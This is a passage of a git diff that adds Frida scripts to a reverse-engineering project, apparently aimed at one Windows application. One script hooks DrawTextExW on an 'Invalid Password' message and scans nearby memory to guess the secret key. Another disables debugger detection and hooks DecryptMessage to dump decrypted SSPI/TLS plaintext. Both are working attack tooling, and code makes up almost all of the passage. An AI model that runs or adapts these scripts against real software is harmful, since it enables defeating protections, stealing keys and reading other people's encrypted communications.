size, needle, { + onMatch: function (address, sz) { + var res = readUtf16Around(address, 96); + var s = res.str; + if (!looksKeyLike(s)) return; + if (seen[s]) return; + seen[s] = 1; + + var dist = absPtrDelta(res.base, anchorPtr); + var score = scoreCandidate(s); + cands.push({ s: s, addr: res.base, dist: dist, score: score }); + }, + onError: function (reason) {}, + onComplete: function () { + cands.sort(function (a, b) { + if (b.score !== a.score) return b.score - a.score; + return a.dist - b.dist; + }); + + console.log('[*] candidates found: ' + cands.length); + var top = Math.min(15, cands.length); + for (var i = 0; i < top; i++) { + var c = cands[i]; + console.log('[CAND ' + (i + 1) + '] score=' + c.score + ' dist=' + c.dist + ' @' + c.addr + ' ' + c.s); + } + + if (cands.length > 0) { + console.log('[+] BEST GUESS: ' + cands[0].s); + } else { + console.log('[!] No candidates.'); + } + } + }); +} + +function installAnchorHook() { + var addr = getExport('user32.dll', 'DrawTextExW'); + if (!addr) { + console.log('[!] missing user32!DrawTextExW'); + return; + } + + Interceptor.attach(addr, { + onEnter: function (args) { + if (dumped) return; + var pText = args[1]; + var n = args[2].toInt32(); + if (pText.isNull()) return; + var s = safeReadUtf16(pText, n === -1 ? 512 : Math.min(n, 512)); + if (!s) return; + if (s.indexOf('Invalid Password') !== -1) { + console.log('[*] saw Invalid Password'); + dumpCandidatesAround(pText); + } + } + }); + + console.log('[*] hooked user32!DrawTextExW'); +} + +setTimeout(function () { + installAntiAntiDebug(); + installAnchorHook(); + automateUi(); + console.log('[*] ready; waiting for Invalid Password render...'); +}, 500); diff --git a/tesseract-reverse/stage_2_decryptmessage.js b/tesseract-reverse/stage_2_decryptmessage.js new file mode 100644 index 0000000..f13551a --- /dev/null +++ b/tesseract-reverse/stage_2_decryptmessage.js @@ -0,0 +1,176 @@ + + +var installed = false; +var msgNo = 0; + +function getExport(mod, name) { + var m = Process.findModuleByName(mod); + if (!m) return null; + try { + return m.getExportByName(name); + } catch (_) { + return null; + } +} + +function findExportBySubstring(mod, needle) { + var m = Process.findModuleByName(mod); + if (!m) return null; + try { + var ex = m.enumerateExports(); + var lowNeedle = needle.toLowerCase(); + for (var i = 0; i < ex.length; i++) { + var n = (ex[i].name || "").toLowerCase(); + if (n.indexOf(lowNeedle) !== -1) return ex[i].address; + } + } catch (_) {} + return null; +} + +function bytesToEscapedText(bytes) { + var out = ""; + for (var i = 0; i < bytes.length; i++) { + var b = bytes[i] & 0xff; + if (b === 0x0a) out += "\n"; + else if (b === 0x0d) out += "\r"; + else if (b === 0x09) out += "\t"; + else if (b >= 0x20 && b <= 0x7e) out += String.fromCharCode(b); + else { + var h = b.toString(16); + if (h.length === 1) h = "0" + h; + out += "\\x" + h; + } + } + return out; +} + +function readSecBufferDesc(pDesc) { + var ptrSize = Process.pointerSize; + if (pDesc.isNull()) return []; + + var cBuffers = 0; + var pBuffers = NULL; + try { + cBuffers = pDesc.add(4).readU32(); + pBuffers = pDesc.add(8).readPointer(); + } catch (_) { + return []; + } + if (cBuffers === 0 || cBuffers > 32) return []; + if (pBuffers.isNull()) return []; + + var out = []; + var secBufSize = 8 + ptrSize; // 12 on x86, 16 on x64 + for (var i = 0; i < cBuffers; i++) { + try { + var p = pBuffers.add(i * secBufSize); + var cb = p.readU32(); + var type = p.add(4).readU32(); + var pv = p.add(8).readPointer(); + out.push({ cb: cb, type: type, pv: pv }); + } catch (_) {} + } + return out; +} + +function dumpPlaintext(bytes) { + if (!bytes || bytes.length === 0) return; + + msgNo++; + console.log(""); + console.log("[*] ===== DecryptMessage plaintext #" + msgNo + " (" + bytes.length + " bytes) ====="); + + // Prefer single print to preserve original line breaks. Fall back to chunking + // only for very large buffers. + var MAX_SINGLE_LOG = 256 * 1024; + if (bytes.length <= MAX_SINGLE_LOG) { + console.log(bytesToEscapedText(bytes)); + return; + } + + var CHUNK = 256 * 1024; + for (var off = 0; off < bytes.length; off += CHUNK) { + var end = off + CHUNK; + if (end > bytes.length) end = bytes.length; + console.log("[*] --- chunk " + off + ".." + end + " ---"); + console.log(bytesToEscapedText(bytes.subarray(off, end))); + } +} + +function installAntiAntiDebug() { + function hookRet0(mod, name) { + var a = getExport(mod, name); + if (!a) return; + try { + Interceptor.replace(a, new NativeCallback(function () { return 0; }, "int", [])); + console.log("[*] anti-anti-debug: " + mod + "!" + name + " -> 0"); + } catch (_) {} + } + + function hookCheckRemoteDebuggerPresent() { + var a = getExport("kernel32.dll", "CheckRemoteDebuggerPresent"); + if (!a) return; + try { + Interceptor.replace( + a, + new NativeCallback(function (hProcess, pbDebuggerPresent) { + try { if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0); } catch (_) {} + return 1; + }, "int", ["pointer", "pointer"]) + ); + console.log("[*] anti-anti-debug: kernel32!CheckRemoteDebuggerPresent -> TRUE,out=0"); + } catch (_) {} + } + + hookRet0("kernel32.dll", "IsDebuggerPresent"); + hookCheckRemoteDebuggerPresent(); +} + +function installHooksOnce() { + if (installed) return true; + + var addr = + getExport("secur32.dll", "DecryptMessage") || + findExportBySubstring("secur32.dll", "DecryptMessage") || + getExport("sspicli.dll", "DecryptMessage") || + findExportBySubstring("sspicli.dll", "DecryptMessage"); + + if (!addr) return false; + + installed = true; + console.log("[*] Hooking DecryptMessage @ " + addr); + + Interceptor.attach(addr, { + onEnter: function (args) { + this.pDesc = args[1]; + }, + onLeave: function (retval) { + try { + var bufs = readSecBufferDesc(this.pDesc); + for (var i = 0; i < bufs.length; i++) { + var b = bufs[i]; + if (b.type !== 1) continue; + if (b.cb === 0) continue; + if (b.pv.isNull()) continue; + + var ab = b.pv.readByteArray(b.cb); + if (ab === null) continue; + dumpPlaintext(new Uint8Array(ab)); + } + } catch (_) {} + } + }); + + return true; +} + +setTimeout(function () { + installAntiAntiDebug(); +}, 100); + +setInterval(function () { + if (!installed) { + var ok = installHooksOnce(); + if (ok) console.log("[*] DecryptMessage hook installed. Use the app normally and wait for output..."); + } +}, 50);